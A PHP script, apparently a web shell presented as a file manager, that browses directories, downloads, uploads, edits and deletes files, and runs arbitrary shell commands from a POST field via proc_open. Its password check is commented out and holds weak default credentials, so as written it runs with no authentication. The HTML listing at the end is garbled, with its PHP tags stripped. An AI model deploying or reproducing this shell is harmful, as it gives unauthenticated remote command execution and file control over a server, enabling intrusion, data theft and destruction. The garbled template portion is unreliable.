/*// === AUTH (Optional - Remove for open use) ===$auth_user = "admin";$auth_pass = "pass123";if (!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER'] !== $auth_user || $_SERVER['PHP_AUTH_PW'] !== $auth_pass) { header('WWW-Authenticate: Basic realm="Restricted"'); header('HTTP/1.0 401 Unauthorized'); echo 'Auth required.'; exit;}*/// === MAIN PATH HANDLING ===$cwd = isset($_GET['path']) ? realpath($_GET['path']) : getcwd();if (!$cwd || !is_dir($cwd)) $cwd = getcwd();// === Download File ===if (isset($_GET['download'])) { $file = realpath($_GET['download']); if (strpos($file, $cwd) === 0 && is_file($file)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($file) . '"'); header('Content-Length: ' . filesize($file)); readfile($file); exit; }}// === Upload File ===if (isset($_POST['upload'])) { $dest = rtrim($cwd, '/') . '/' . basename($_FILES['file']['name']); move_uploaded_file($_FILES['file']['tmp_name'], $dest); header("Location: ?path=" . urlencode($cwd)); exit;}// === Delete File/Folder ===if (isset($_GET['delete'])) { $target = realpath($_GET['delete']); if (strpos($target, $cwd) === 0) { if (is_file($target)) unlink($target); elseif (is_dir($target)) rmdir($target); } header("Location: ?path=" . urlencode($cwd)); exit;}// === Command Execution ===$output = '';if (isset($_POST['cmd']) && strlen(trim($_POST['cmd'])) > 0) { $x = $_POST['cmd']; $descr = [ 0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w'] ]; $pipes = []; $process = proc_open($x, $descr, $pipes); if (is_resource($process)) { while ($f = fgets($pipes[1])) { $output .= "[stdout] " . htmlspecialchars($f); } fclose($pipes[1]); while ($f = fgets($pipes[2])) { $output .= "[stderr] " . htmlspecialchars($f); } fclose($pipes[2]); proc_close($process); } else { $output = "Failed to execute command."; }}// === File Edit Save ===$editMsg = '';if (isset($_POST['save_edit']) && isset($_POST['edit_path'])) { $editPath = $_POST['edit_path']; $newContent = $_POST['filecontent']; if (is_file($editPath) && strpos(realpath($editPath), $cwd) === 0) { file_put_contents($editPath, $newContent); $editMsg = "✅ File saved successfully."; }}<!DOCTYPE html>
<meta charset="utf-8"><a href="?path== urlencode(dirname($cwd)) ">⬅️ .. (parent)</a> | ||
if (is_dir($full)): <a href="?path== $url ">📁 = htmlspecialchars($item) </a> else: <a href="?download== $url ">📄 = htmlspecialchars($item) </a> endif; | = is_file($full) ? filesize($full) . " bytes" : '-' | if (is_file($full)): <a href="?edit== $url ">✏️ Edit</a> | endif; <a href="?delete== $url " onclick="return confirm('Delete = $item ?')">🗑️ Delete</a> |